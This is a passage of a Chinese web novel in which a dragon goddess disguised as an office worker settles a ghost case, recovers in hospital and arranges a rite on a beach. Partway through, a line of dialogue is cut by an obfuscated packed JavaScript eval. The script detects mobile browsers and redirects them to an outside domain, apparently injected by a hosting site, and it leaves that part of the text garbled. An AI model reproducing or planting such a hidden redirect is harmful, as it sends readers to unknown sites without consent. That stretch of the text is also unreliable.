“哦,曾阿姨也留下吧。”应真潇言简意赅:“她是原告。” 青阳点点头,挥手让鬼差把鬼王和郑宇俊带走:“把这两个家伙带去好好审问清楚,再来回报本座。” 他自己走进厂房,再出来时,厂房内已经空无一人。 鬼差领命,把鬼王和郑宇俊带到一边,一顿大记忆恢复术后,回来复命。 郑宇俊此事,确实和应真潇想的一样,受害者不只奉嘉禾一个;但她还是想少了,这个案子,从始至终,牵涉到几十个受害者。 案件起于万历二十九年,南应才子郑明卿高中进士,琼林宴上,其座师李阁老随口说了一句“可惜明卿已有家室”,是年冬,郑府突发蹊跷大火,烧死了郑夫人和两个孩子。 郑明卿扶棺回乡安葬,途中停灵群金山,郑夫人冤魂不散,找郑明卿索命,群金山鬼王发现后,帮郑明卿镇压了郑夫人,又授其玉佩,可以诱骗女子。 一人一鬼定下契约,凡此以后,鬼王荫蔽郑氏子孙,郑氏子孙则以此玉佩婚配,身死以后,郑氏男子成为鬼王仆役,诱骗来的女子死后成为厉鬼,其戾气则成为鬼王的食物。 郑明卿拿着玉佩返京,不久便成了李阁老的贤婿,官运亨通,福寿绵长;自他以后,郑氏子孙亦受庇佑,直到郑宇俊害死奉嘉禾。 应真潇皱眉:“有鬼王兜底,他跑什么?阴间的事,凡人的警察可找不到。” “高功有所不知。”鬼差说。 人占不到鬼的便宜,郑明卿问过道士,得知厉鬼会找仇家索命,且成功后戾气会大增——这是鬼王乐于见到的。 若要规避苦果,就不能逼她们太甚,厉鬼往往愚钝矇昧,不知道向谁寻仇,也就无法寻仇,因此定下家规,告诫子孙,不可直接逼死受害的女子。 凭借行事谨慎,郑家太平了几百年,直到郑宇俊不知轻重,害死了奉嘉禾,不但让奉嘉禾成了厉鬼,还刺激得其他女鬼狂性大发。 “这家伙还以为鬼王会救他。”鬼差语带嘲讽,指了指萎靡的郑宇俊:“殊不知,鬼王就是以他和其他凡人为饵,指望引来奉嘉禾,然后饱餐一顿呢。” 与虎谋皮,不外如是。 “你、你为什么要害死苗苗!”曾照云浑身发抖,声音哽咽:“你个混蛋……” 郑宇俊抬起头,神情怨愤:“为什么?都怪你!帮我运作一下怎么了?你的原则比我的前途,比你女儿的狗命还重要?臭婊子,都怪你,要不是你——” “死到临头还不知悔改。”应真潇冷笑:“给我掌嘴。” 鬼差力士领命,左右开弓,几十个耳光抽在郑宇俊脸上,噼里啪啦,魂魄剧痛,他起先还哀嚎惨叫,不久后,一点声音都发不出来了,表面上看起来却没有伤痕。 “阿姨,”应真潇扭头看向神色茫然,眼泪横流的曾照云,干巴巴道:“……节哀。别跟这种傻逼一般计较。” 她固然知道,“想开点”是没意义的废话;可人死不能苏生,她能做的也很有限,就算把郑宇俊逮住伏法,奉嘉禾——作为人的奉嘉禾,也不可能再回来了。 曾照云蹲在地上,脸埋进双手中,痛哭失声。 应真潇不忍心看,扭过头看向鬼差:“受害者呢,都去哪里了?” 鬼差:“被鬼王吞食殆尽了,包括郑家先祖的魂魄,其中还有两个新死鬼,分别是郑宇俊的生母,以及其新女友刘珂。” 曾照云猛然抬起头。 “……那奉嘉禾呢。”应真潇咬牙,她恨不得亲自抽郑宇俊一耳光:“我们刚来的时候,聚煞的阵法仍在运行。” 鬼差:“奉嘉禾不在此列。鬼王交代,阵法生了效,奉嘉禾受到了吸引,但还没飘到南应市,就失去了踪迹。我等也搜寻不到。” 鬼王和郑宇俊找不到,所以又绑架了陆雁书一行人,试图加大阵法力度,搜寻奉嘉禾。 “你们也找不到?”应真潇纳闷:“真见了鬼了?” 鬼差:…… 青阳适时出声:“阴司鬼差能力有限,我去找找,或许可以找到。” 应真潇一想也是,对曾照云说:“阿姨,苗苗的身份证号、生辰八字报一下,找起来更容易。” 奉嘉禾这名字确实小众,但是在生死簿上登记的数量绝对不是零。 曾照云犹如抓住了救命稻草,赶紧抹了把眼泪,把详细的信息,甚至是奉嘉禾的死亡时间都报了一遍,期期艾艾地看着青阳:“多、多谢你了。” “不必客气。”青阳颔首:“你为南应百姓做了许多事,本座不过是投桃报李。” 他身子一摇,消失在了空气中,鬼差们拿不准应真潇的的身份,但大领导对她这么客气,想必也是不得了的人物,也客气地拱拱手:“高功,我等先带此两鬼回去受审。” 郑宇俊的□□现在还活着,但如此恶贯满盈,命又不够硬,算纪扣完之后命也到头了,说是期货死人,毫无问题。 “慢走不送。”应真潇挥挥手,又指着郑宇俊道:“回去把这家伙的舌头给我拔了,张着嘴光会狺狺狂吠,我看也没有留着的必要。” 郑宇俊抬起头,神色狰狞地看着她,目眦欲裂。 鬼差反手一个耳光抽上去,朝应真潇点头:“高功放心。” 他们化作一道烟雾离去,跪在地上的郑宇俊瞬间失去了气息, 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曾照云回头,用气音轻声道:“医生说没什么问题,就是疲劳过度,多休息就好了。” 陆雁书点点头:“您回去休息吧,我来陪着。” “不用,小陆你今天也辛苦了,”曾照云知道他刚结束接待晚宴:“而且潇潇是女孩子,我陪着她方便一点。” “曾主任,还有人在等您。”陆雁书声音平静:“如果有问题,我会叫护士来。” 曾照云哑然,恰此时,龙蛋从被窝里咕噜噜滚出来,她问龙蛋:“陆总在这里陪着潇潇,可以吗?” 她知道这个小精灵似的东西有灵性。 龙蛋往前点了点。 曾照云叹了口气,起身:“那就麻烦陆总了。” “应该的。”陆雁书颔首。 曾照云带上门,病房里恢复了宁静,陆雁书摸了摸龙蛋,把它塞回被子里——陆雁锦说,它是应真潇的耳报神。 龙蛋蛄踊着钻回应真潇怀里,不再动了。 陆雁书坐在椅子上,看着应真潇,神色沉静,让人看不出情绪。 不久,走廊上嘈杂了起来,还隐约飘进来一股恶臭,陆雁书出门一问,是厕所的下水管爆了,秽物不停往外喷涌,整层楼恶臭难闻。 护士说,维修师傅明天早上才能到,今晚要么凑合,要么转到特殊医疗部去——两千一晚上,医保不覆盖。 其他病人和家属一听,怨声载道地走了,陆雁书走上前,淡声道:“317床要转科,麻烦你安排一下。” 味道难闻又吵闹,应真潇很难好好休息。 又有人在按呼叫铃,护士匆匆登记完手续,指了指一旁的护理滑床:“你先把病人抱上去,我等下带你们转到楼上病房去。” 陆雁书把床推回病房,看着滑床,沉默了一会儿,走到病床边,轻声道:“应真潇,醒醒。” 24. 当龙王 24 没有反应,他又加大声音说了一遍,龙蛋也在被窝里拱个不停,总算把应真潇从睡梦中拉出来一点。 “干嘛呀……”她感觉自己身体特别沉重,像被车碾过,神智也昏昏沉沉的,翻了个身,拒绝起床。 陆雁书:“下水道爆了,味道很难闻,我带你换个病房。” “……哪里难闻?”应真潇迷迷糊糊地抽了抽鼻子:“……只有你身上香香的。” 陆雁书:…… 他又想起了两人的初次见面,那天在电梯里,应真潇也说他香,但他分明没有喷香水,梁博也说他身上没有别的味道。 不过……那次真的是初见吗? 鬼使神差,他低声问:“应真潇,消除记忆的事情是真的存在吗?” 如果只是客观地想要验证真伪,那他已经知道了,今天下午常书记他们被送走之后,失去了下午发生的事情的记忆,只是依稀记得他们在山里考察。 “当然是真的……”应真潇又翻了个身,抱怨:“你好烦,我要睡觉。” 陆雁书:“……你先起来,换个病房再睡。” 应真潇试图伸出双臂,发现抬不起来,立马放弃,脸埋进被窝,瓮声瓮气:“你抱我去。” 陆雁书:…… 他吸了口气,绷着脸,耳尖却有些发红,声音平静:“不方便。” ……以前抱的时候怎么不说不方便? 应真潇神智混沌,不想说话,用不回应来表达意见。 好累,她连吸陆雁书香气的力气都没有了,好在香气在变浓,自觉地往她鼻子里钻,给睡眠增加舒适度。 好在护士及时赶到,打断了两人的僵持,在她的指导下,陆雁书用被子把应真潇裹好,然后连人带被子端到滑床上,礼貌得像是叉车装卸作业。 “您这是绅士手啊。”护士乐了,领着他推着滑床进电梯上楼,去特殊医疗部的住院部——那里设施更好,陆雁书还加钱要了个最贵的单间。 …… 另一个梦。 应真潇飘在半空中,看着下面正在重演的事情。 凡人的梦境往往是已知事物的拼凑,这在哲学中被称为“经验主义”;而在神灵的梦境中,有时会出现祂们认知之外的事物——完全陌生的景象、人物,或是没有亲历过却无比清晰的的事件。 眼下的梦境就是如此。 男童躺在检查床上,粉雕玉琢、衣着考究,一看就是大户人家备受宠爱的孩子;却没有任何的动作、情绪,空洞的双眼,像是一潭死水,无智性地倒映着出现在面前的事物。 即使是行尸走肉,比起他来说,也更拟人一些——至少行尸走肉乍一看像人,而男童尽管呼吸还在起伏,但看起来却像是一个无机质的死物,冰冷得甚至足以触发旁人的恐怖谷效应。 但应真潇不怕,甚至饶有趣味。 她当然认得出,这是陆雁书小时候。 医生叹气,满是无奈:“……没有任何反应,瞳孔对光和视觉诱发电位测试,都没有任何反应;听觉脑干反应测试和耳声发射测试,也一样。” 这意味着,这孩子是医学上毫无争议的盲人、聋子,器官不接收任何信号,大脑也不处理任何信息。 但比起其他的聋盲孩子,陆雁书的情况更具特殊性——他不但不接收外部信号,也不主动向外发射信号,不哭不闹,不做任何动作。 根据病历,他连出生时都没有哭,产科医生折腾半天,才确定他不会哭,但肺部已经张开。 “陆先生,来女士。”医生比喻道:“令公子就像一台电脑主机,只是插着电,显示灯亮着,仅此而已。能明白我的意思吗?” 医生的建议是,从医学角度,可以放弃这个孩子了——连干预都无从下手。 他的父母情绪崩溃,但仍然不愿意放弃,问医生,如果每天给他做干预,像自闭症康复治疗那样,会有恢复的可能性吗? “……不能完全排除这种可能性,”医生委婉道:“但仅具有统计学意义。” ——就像给猴子一台打字机,指望它随机排列出一部莎士比亚。 画面一转,是应真潇熟悉的地方,应真湖龙女庙。 那时的住持摇着头:“……木石无心。这孩子没有尘缘,二位该放手时莫强留啊。” 画面再一转,是别的道观,道长打扮的人说:“……生辰八字全阴,四柱壬水过旺,尘缘浅淡,遇水则夭。” 回去之后,草木皆兵的年轻父母,隔绝了一切和水有关的东西,洗澡改为擦身,喝水改为注射器滴灌,但凡和水接触,都有家长严阵以待地看着。 画面再一转:“……贪狼化忌为守,七杀独坐命宫,三方四正无吉星调和,乃是阙金断玉的命格,孤煞清高,恐无尘缘。” 应真潇唏嘘,陆雁书很受父母宠爱,玄学和科学的手段都用尽了,还不肯放弃。 但他的确活不长,道长说得对,如果没有意外,他会在六岁前夭折——死于水祸。 不过,不出意外的话,应该就是出意外了。 梦境很快发展到转折,陆雁书六岁那年——也就是被反复交叉验证的死亡时间,陆家人走投无路,带着他来到应真湖龙女庙,希望龙女垂怜,赐一线生机。 ——龙女庙在应真湖边,放在以往,他们绝对不会带孩子来湖边的。 那天,平生没有主动做过任何动作的陆雁书,在看护的爸爸熬了一晚上,眼皮直打架的清晨,自己下床,避过所有人,赤着脚走向湖边。 陆雁书一步步走进水中,任由湖水漫过头顶,却没有任何挣扎,眼神仍然空茫,动作机械得像是某种既定程序。 在他溺水之前,一道青色的身影游了过来,把他托起,在周边形成了一个隔绝水体的空泡。 旁观的应真潇谦虚颔首,英雄救美,不足挂齿。 “小家伙,好端端的投什么河?”梦境里的应真潇颈部覆着玉色鳞片,额上生出双角,一双竖瞳露出青色虹膜,充满非人的神性。 陆雁书呆呆地看着她,不说话,双眼却突然流出泪水。 那是他生平最像人的一个瞬间,像人一样,哭。 “转世的器灵?”应真潇抱着他,仔细端详了一会儿,发现这是陆家的孩子,又发现这孩子确实先天有异,通身萦绕着霜白之气,这是器灵的典型特征。 她点了点陆雁书的嘴唇,为他开口:“小家伙,你为什么要投河?” 天门未闭的转世器灵,不可能会因为贪玩溺水——他现在的状况没有自主意识,所有的行动,不过是前世的因陈。 陆雁书说了他人生中的第一句话:“我要回东海。” “东海啊……”画面里的应真潇脸上有些许失 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“雁雁!”青年时的来思齐冲过来抱住他,哽咽着,就好像这孩子能听懂话,会给她回应:“你怎么一个人跑出来了?” “妈妈。” 来思齐瞪大双眼,不可置信地扶着他的双肩:“雁雁,你、你说话了!” “妈妈。”陆雁书又重复了一遍,他看着来思齐,眼神有些茫然,但已然不是空洞,又看向来思齐身后的青年:“爸爸。” 画面戛然而止,应真潇一个激灵,从梦境中醒来。 看着米黄色的天花板,她的记忆开始回笼。 昨天——或者说她昏迷之前,身体已经撑到了极限,听青阳说是谁带走了奉嘉禾后,她刚解析出那个人名是谁,身体就直接强制关机了。 途中陆雁书似乎把她叫醒,说了什么,但是已经没印象了。 应真潇环顾四周,发现自己在病房里,装潢典雅温馨,不像普通病房——想来是陆雁书特别关照。 手机在床头充电,她拿起一看,最顶上的信息来自银行,告知她的账户收到了五万元,来自远潮集团对公账户,备注是工伤补贴。 应真潇:! 她腾的一下坐起来。 不用问,这肯定也是陆雁书关照的。 应真潇继续翻看信息,下一条是陆雁书发来的,说上午——看时间是今天上午——会议后要回江城,有不得不参加的行程,给她申请了补贴和七天病假,让她好好休息,不用着急回来上班。 她摸了摸下巴,陷入沉思。 知道她的情况后,陆雁书肯定不会给她安排超出规定的福利;但在公事公办的范围内,他是怎么申请到这么高的补贴和病假的呢? 她又没有什么验得出来的损伤,难道是陆总买通了医生? 应真潇接着往下看,是好姐妹钱佳妮的消息。 她留言让应真潇好好休息,醒了报个平安:【我听陆总说,你从山顶上失足滚下去了,惊吓过度昏迷了。】 【没受伤真是不幸中的万幸,陆总还蛮体恤你的,叫梁助给你申请了顶格的病假和补贴——要是比这还高,就要提交验伤报告了,做工伤认定了。】 应真潇:…… 破案了:) 好消息,不是买通;坏消息,是造谣。 25. 当龙王 25 应真潇回完消息,准备出门觅食。 一打开门,门外不是走廊,而是客厅,电视屏幕无声播放游戏画面,一个高大身影拿着游戏手柄,戴着耳机,盯着屏幕,全神贯注。 在他旁边的沙发上,龙蛋蹲在另一个游戏手柄上,被一个头戴式耳机簇拥在中间,同样随着游戏画面摇摆,发现她出来了,龙蛋拧了一个方向,咕噜咕噜地朝她滚来。 “崽崽你怎么不玩了?”高大身影——也就是陆雁锦,压着嗓子回头,看到她,连忙摘下耳机,喜气洋洋:“小应姐你醒了!” 应真潇“嗯”了一声,把小崽捞起来撸了两把,揣在怀里:“你怎么在这?” 陆雁锦说,他哥担心她在这边人生地不熟,叫人把他从学校逮过来了,起到一个支付宝和监护人的作用:“小应姐你放心,事情都是女护工做的,我就是来监工。” 监工?应真潇看向他手里的游戏手柄。 “我以为又要好几天呢。”陆雁锦挠挠头,嘿嘿一笑:“特意带过来和崽崽一起玩的。” 他把小崽的游戏手柄拿过来,献宝似的:“这个崽崽可以用!” 应真潇接过来一看,手柄上只有一个圆圆的大按钮,通过往不同的方向倾斜,操纵游戏角色。 还真是只要思想不滑坡,办法总比困难多啊,她乐了:“行,那你俩玩吧,我先找点吃的。” “姐,我给你叫点清淡的吧。”陆雁锦连忙道。 应真潇指了指满满当当的茶几,上面光奶茶就有五六杯,还有蛋糕炸鸡一类的零食,一看就很不健康:“不用,我把这个热热吃了就行。” 陆雁锦:“为什么要热?” “这不是凉了吗?”应真潇说。 如果炸鸡还是热的,那房间里应该会有一股很浓的炸鸡香味,但是她什么也没闻到。 “不是啊,姐。”陆雁锦说:“这刚送来了,我准备打完这把就吃。” 应真潇:…… 她谨慎地吸了一口气,不但没闻到炸鸡蛋糕的香气,连医院里必不可少的消毒水味,也没闻到。 悬着的心终于死了,应真潇叹了口气:“……行吧。” “咋了姐,你不爱吃这个?”陆雁锦问。 应真潇:“没事。” 一龙一蛋一人分食了桌上的东西,酒饱饭足之后,应真潇清了清嗓子:“我已经好了,但是还有点事情要处理,你要是忙的话,可以先回去。” 陆雁锦说不忙,他哥给他请了一周假;反而对应真潇的事情很感兴趣,如果应真潇不介意的话,他想留下来帮忙,顺便跑跑腿。 这倒没什么可介意的,应真潇说:“我等会儿要和曾主任一起去祭拜本地山神,你去吗?” 上午曾照云来过,和陆雁锦打了个照面,在微信上和她说过了;她起来之后联系了曾照云,曾照云说自己明天回江城,今天想去感谢一下土地婆。 “去啊!”陆雁锦兴高采烈,大学生只要不上早八,干什么都很起劲:“我可以帮忙开车!” 傍晚,曾照云说到了,于是应真潇揣着龙蛋,领着陆雁锦下楼。 曾照云的车停在路边隐蔽处,两人找了一会儿,才看到。 “姐我跟你说,那个剧情……”陆雁锦一边笑一边拉开车门,愣了一下,随即开始尖叫:“啊!!” 他崩溃地抱头蹲下。 应真潇:…… 她无语地看着坐在后排,两眼漆黑,身上淌着水,还不停冒着黑气的奉嘉禾:“光天化日的也不收敛着点,有没有公德心啊。” 奉嘉禾委屈:“这样比较轻松嘛,再说天都黑了,哪里光天化日了。” 应真潇:“你下去。” “我不!”奉嘉禾朝曾照云告状:“妈妈你看到了吧,她老是就这样欺负我!” 曾照云:“你下去。” 陆雁锦毕竟是活人,她担心女儿靠他太近,会伤害到他。 奉嘉禾:…… 她撅着嘴从另一侧车门飘出去了。 应真潇拍了拍陆雁锦的头:“没事了,别怕。” 陆雁锦站起来,心有余悸,做了半天心理建设,才钻进车里。 曾照云启动汽车,驶向群金山;副驾驶还坐着一个年轻男人,回头和两人打招呼。 他显然不是生人,但身上也没有鬼魂的阴森之气,反而萦绕淡淡的金光。 应真潇立马确定他的身份,颔首:“奉先生,晚上好。” 隐去奉海梁和曾照云的关系,她给陆雁锦介绍:“这位是应真湖水府的奉海梁奉先生。” 陆雁锦点点头,伸手和他握了一下:“道长你好,我是陆雁锦。” “道长?”奉海梁笑了笑:“我不是道士。” 陆雁锦:“你不是水府的么?应真湖水府不是龙女娘娘管的么?” 看样子,他把水府误会成龙女庙或是其他龙女祠的别称了。 应真潇扑哧一声:“应真湖水府确实是龙女管的,但不是龙女庙,唔,龙宫总知道吧,就是那一类机构。” 倒也不怪陆雁锦,除非认真研究过,否则很少有人清楚,另一个世界的组织架构。 所谓三界,天庭高居九重天,统辖着下界的阴阳两界。 水府就是天庭的派出机构,司掌阴阳两界“炁”的流动,统筹其他下辖机构的工作,约等于某某人民政府。 阴司和龙宫,则是水府下辖机构中,比较出名的两个,前者负责考定亡魂功过,录述凡人功德,也是亡魂最终的归宿,投胎转世的地方;后者则司掌水域安宁,兼行云布雨的职责。 “……比如应真湖龙女,最初是授封应真湖龙王,也即是龙宫一把手。”应真潇举例说明:“折角射蛟后功德圆满,她飞升洞渊部主神,受命司掌应真湖水府。” 陆雁锦瞪大眼睛:“……所以,奉先生你是神仙!” 奉海梁有点不好意思:“只是在水府供职罢了,称不上神仙。” 普通人说起“神仙”,应该指的是有大成就或是大神通的神仙,但他只是水府普通公务员,成就和神通都说不上。< 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曾照云准备的都是食物、香火、纸钱一类的,神仙鬼差也能受用的东西,量还不少。 众人各分其职,将供品按份分好,又在地上用石灰画圈,分开摆进去;最后还在旁边画了个大圈,也摆了一些贡品——这是祭祀游魂野鬼的。 陆雁锦抄着铁锹铲土,把纸钱埋进石灰圈的土地里:“姐,咱们怎么不直接烧啊?这有什么特殊讲究吗?” “有的。”应真潇说:“山上一把火,山下派出所,你想蹲局子?” 陆雁锦连连摇头。 准备妥当后,受祭的土地神和鬼差们很快就应召前来,向曾照云表示感谢后,享用起祭品来了。 青阳没来,但香的烟气徐徐上升,这代表受供奉者收到了香火。 不久,奉海梁口袋里的玉牌亮了,说是水府有紧急公务,要回去一趟。 “单位有事你就快去吧,别耽误了。”曾照云说:“这里有我看着呢。” 应真潇递过去一个袋子:“麻烦帮我把这个转交给青阳仙君。” 奉海梁接过袋子,点点头,对曾照云说:“我办完事就回来。” 随后,他身形一晃,消失在了空气中。 一切都停当后,曾照云又送应真潇和陆雁锦回医院,到医院后,她有些犹豫:“小应,阿姨有点事和你说,你方便吗?” 应真潇闻弦歌而知雅意,打发走闲杂人等,车上只剩下两人,一时有些安静。 曾照云斟酌着开口:“你别笑话阿姨贪心,是这样的,如果我想和你奉叔叔、苗苗继续呆在一起的话,水府会允许吗?” 失而复得的女儿,破镜重圆的家庭,一切都美好得像梦一般,让她实在割舍不下。 所以,明知道阴阳有别,但她还是鼓起勇气来问了。 “这个嘛……”应真潇拖长了声音:“水府有水府的规矩,原则上是肯定不允许的。” 曾照云眼神一黯。 26. 当龙王 26 应真潇咳了一声:“不过,奉叔叔是地仙,如果有人为他立牌位,每日香火供奉,他显显灵,倒是没有问题。” 神仙受香火供奉是应有之义,甚至可以说是大家共同的追求,显灵也是祖宗之法——中国人求神拜佛讲究实用主义,你不显灵谁拜你。 至于信众的身份,显灵的时间地点,水府没那么多闲工夫管你这那的。 “至于奉嘉禾嘛,”应真潇说:“还是那句话,原则上不允许阴阳混居,但是鬼差可以自由通行阴阳两界,不工作的时候,停留在哪也没人管,除非被人举报扰民。” 曾照云惊呆了,嗫嚅道:“这……这不违规吗?” 应真潇:“阿姨你思路没转变过来。对于阴司水府,你才是小老百姓,不需要对任何人和事负责人,没有明确禁止的事情,为什么不能做?” “阴司不问,你就当不知道;阴司问,你就说你是老百姓不懂这些;”她分享刁民心得:“阴司催你,你就拖;阴司强制执行,你就打龙宫热线,投诉他们态度不好暴力执法。” 曾照云看着她,无言以对。 ——你为什么这么熟练? 应真潇回以尴尬而不失礼貌的微笑。 ——别问,问就是在基层干过。 “不过阿姨,”应真潇坐直,语气有些严肃:“没人管归没人管,和非人的生物,尤其是鬼,呆在一起,绝不是没有任何代价的。” “最大的代价,便是寿数。” “我言尽于此,你好好考虑吧。” …… 应真湖水府官衙内,青阳打了个喷嚏,对一旁的属下道:“本座有一种不详的预感。” “仙尊妙应通达,故能感应天机,想必是应真湖旁不太平所致。”属下拍了一记马屁:“属下这就督促他们,落实您的意思。” 应真湖附近,天上掉块砖都能砸到一个大妖怪,但这不代表应真湖边上治安不好,因为像群金山鬼王那样的存在,都是龙女强制迁移来的。 一方面,自然是给点好处,让他们沐浴天恩;另一方面,也是一种监视居住,警告他们老实点,别找事,否则龙女娘娘的铁拳立刻砸下来。 平时相安无事,偶有出格,水府也是睁只眼闭只眼;但这回不同,不但案件恶劣,还被一杆子捅到二把手跟前,青阳仙君震怒,要求重拳出击,起底排查安全隐患,严厉打击不法行为。 因此,近两日,水府正在如火如荼地进行扫黑除恶专项整治行动。 是得好好抓一下,青阳摆摆手:“赶紧去。娘娘现下不在,本座必须当好家,否则届时怎么跟娘娘交代?” ——关键是上班偷懒被抓了现行,再不将功折罪一下,青阳感觉自己的职业生涯有危险。 属下领命退去,有人进来通报,一位姓奉的官吏送来一个袋子,说是受应州市应真潇小姐所托,送给青阳仙君。 青阳:…… 他接过袋子,挥挥手:“去去去,都出去。” 袋子只是个普通的塑料袋,青阳打开袋子,从里面拿出东西,定睛一看,是个U型枕。 青阳:…… 他汗流浃背,把枕头放到一边。 除此之外还有一张纸条,上书字迹没有神力,但青阳认得出娘娘飘逸潇洒的字迹:【郑宇俊贪婪无状,对龙女娘娘多有冒犯;此外,奉嘉禾之事,请尊上多多关照。】。 夭寿啦,娘娘叫他尊上,青阳差点手一抖,把纸条扔出去。 他收好纸条,喊了个人进来:“叫阴司的人来见我。” …… 奉海梁后半夜才从衙门出来,神仙的魂体不会累,心理上的疲累却不可避免,更何况,他这两天过得跌宕起伏,情绪起伏剧烈。 水府门口,有人喊住了他,身穿阴司的制服,看样子,是个鬼差:“奉修撰留步。” 奉海梁打起精神:“您有事找我?” “谈不上事,只是有笔生意,不知奉修撰有没有兴趣。”鬼差嘿嘿一笑,横贯脸上的刀疤,让他显得有些狰狞:“害死令千金的凶手,现下在我们手里。” 奉海梁脚步一顿。 …… 次日一早,应真潇订票返回江城,曾照云也在同一航班。 陆雁锦拖着他的大箱子,还接过应真潇的背包,十分殷勤:“姐,你要不明天再回去上班呗,今天下午咱们去东海,把我的事也解决一下?” 他说的是救他的妖怪。 其实他独自去也可以,但是那天晚上的经历——无论是婚礼闹鬼还是他自己鬼打墙——把他吓坏了,总觉得要拉上应真潇一起去,比较放心。 应真潇想了想,那蜃妖平时应该在崇县海岸附近活动,平时从市里过去一趟,要两个小时;但是他们落地的机场,离那里并不远,大约只要两刻钟车程。 更何况,拖久了,也不妥当。 她拿定了主意:“行,那择日不如撞日,就今天吧,你让你家里人准备一下。” 陆雁锦一口答应。 飞机落地后,两人乘上了陆家的车,直奔崇县。 意外的是,陆雁书也在,一见面,他没问陆雁锦,先看向应真潇:“恢复好了吗?” “多谢陆总关心。”应真潇一笑:“已经没有大碍了。” 陆雁书颔首:“那就好。” 停车场离海滩还有段距离,梁博自觉把陆雁锦领到前面,交代事情,陆雁书和应真潇落到后面。 “陆总从公司过来的?”应真潇算了算距离:“那路上得两个小时吧。” 陆雁书摇头:“今天正好在高桥港考察。” 高桥港是江城第二大综合性码头,远潮集团部分持股,主要挂靠小于5000标准箱的澳洲线、亚洲线和南美线船舶,算算距离,离崇县半个多小时车程。 岗前培训的内容,开始攻击应真潇,她啧了一声:“陆总,我休假呢,不要说工作的事情。” “……抱歉。”陆雁书顿了顿,道:“我请了应真湖龙女庙的道士来,一会儿的事情,今天不用你主持。” 浅淡的香气飘来,应真潇微微勾着嘴角,有心逗他:“陆总信不过我?” “并非如此。”陆雁书摇头,淡声道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448464|169451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 使用力量,需要付出代价,是么?” 今天是工作日,他们去的是私家海滩,路上除了他们一行,空无一人,回荡着浪声。 应真潇微笑:“当然。世间万物,或损之而益,或益之而损,没有两全的办法。不过嘛,代价有大有小,有的代价太重,有的代价还能接受。” “昏迷一整天,也算可以接受的代价吗?”陆雁书皱眉:“半个月内,两次。” 亲眼见到过一次之后,并不难想象,陆雁锦那次的场景。 应真潇哈哈大笑:“当然!陆总你想得太严重了,那是很大的事,才会昏迷啊。” “上次是水患,我少说救了几十条人命,光算经济账也几百上千万了吧。”她掰着指头算:“这次呢,摇的人很厉害,那代价肯定也高一点。” 应真潇朝他抛了个wink:“不过,谁让我救驾心切呢——陆总,你值得~” 陆雁书顿住了脚步,双眸微睁,看着她,神色怔怔。 ——哎呀,玩笑开过头了。 应真潇收敛起得意忘形的表情,忍着笑,一本正经道:“开个玩笑,陆总,别介意。” 陆雁书张了张嘴,短暂的沉默后,若无其事地“嗯”了一声。 “其实是因为那两个家伙挑衅我!”应真潇握拳,震声:“凡有血性,必有争心!” ——应真潇恰巧是一条血气方刚的青年龙! “再说,出来混必须说话算话,说了杀他全家就必须要杀他全家,不然以后人心散了,队伍怎么带?!” ——在应真湖边上被小鬼充地头蛇,传出去娘娘还怎么做龙! 听完她振聋发聩的江湖宣言,陆雁书无言以对,只好又“嗯”了一声,语气干巴,还些微带着点,本人都未曾察觉的遗憾。 “……你值得。” 他绷着脸,指尖却像被烫了一样,微微蜷缩。 一行人走到沙滩上,祭坛已经设好了,一位中年人站在祭坛前,道士打扮,道袍上还有见到众人,上前见礼——当然,主要是和应真潇打招呼。 他自称是应真湖龙女庙的道士,姓姚,从崇真观的周道长处,听说过应真潇的事迹,特此受邀前来。 自己人,应真潇态度友善地接见了他:“道长好。” 寒暄过后,他继续为开坛作准备,应真潇则揣着小崽,走向海边——到了东海边上,它有些躁动,在包里不停转圈圈。 如无意外,它将是东海未来的未来的龙王;离开母体后,它还没有巡视过自己未来的领地。 应真潇理解它的心情,蹲在沙滩上,把它放进浪花里:“半个小时后回来,好不好?” 小崽往前点了点。 “乖崽。”应真潇摸了摸龙蛋:“去吧。” 一阵海浪涌来,转眼间带走了龙蛋小小的身影。 远处的陆雁锦看到这一句,大惊失色:“姐,你怎么把崽崽丢海里了?” “哦,这是放生。”应真潇起身,笑眯眯地胡编乱造:“可以积攒功德,要不你也放生一瓶矿泉水试试?” 陆雁锦:…… 27. 当龙王 27 不久,姚道长做好了准备,应真潇站在一旁围观——别说,陆雁书的体贴太合时宜了,她还真不会这种开坛请神的法术。 她要找谁,一般都直接点名召见。 围观了一会儿,应真潇差不多摸透了路数。 首先是焚香诵经,请神灵——这次请的是她——神力下降,然后焚烧祝词,祝词的大意是,自己是龙女座下某某,受陆雁锦所托,替他寻找救命恩妖,希望恩妖降临坛前,接受亲自感谢。 流程与请神类似,这倒不难理解,本就是差不多的事情,且妖怪喜欢自比神仙,称自己为某某真人、某某仙姑,以神仙的礼仪对待它们,会让它们感到满意,从而增加降坛的概率 ——按姚道长所说,所寻的妖怪不一定会前来,因为出手相助是萍水相逢,而再次现身,接受感谢,则代表着牵涉更深,会沾染红尘中的因果。 并非所有妖怪都愿意沾染这样的因果,有些妖怪孤僻,不愿意与人牵连;有的妖怪则架子大,一次不行,要三催四请;第一次就愿意降坛的,算是很和善的了。 妖鬼亦有众生相,某些方面,它们和人也没有太多两样。 祝词结束,天地间没有回应。 陆雁锦有些失望:“它不愿意来吗?” 姚道长正要安慰他,不远处忽然传来一阵凄惨的奶猫叫声。 众人看向声音传来的方向,是一座海中的礁石,顶部趴着一只巴掌大的小猫,不知道是哪个家伙缺德冒烟,把它放上去的。 随着潮水上涨,礁石已经快被淹没了,只露出一本书那么大的顶端,小猫嚎叫着,声音尖细,慌张无措。 陆雁锦面露不忍,环顾四周,请示他哥:“哥,要不,我去把那个小猫抱下来?” 礁石已经在海中了,距离岸边不近,只是露出一个尖尖,随着潮水上涨,海浪越发急促,他知道,贸然跑去,非常危险。 但一时半会儿,陆雁锦又找不到帮手。 陆雁书微微皱眉,正要开口,应真潇朝他微微摇头:“陆总,孩子大了,该放手时就放手。” 陆雁书:…… 这是放手吗?他怎么感觉像放生。 梁博适时为老板分忧,开始脱西装外套:“二少,我去吧,我会游泳。” 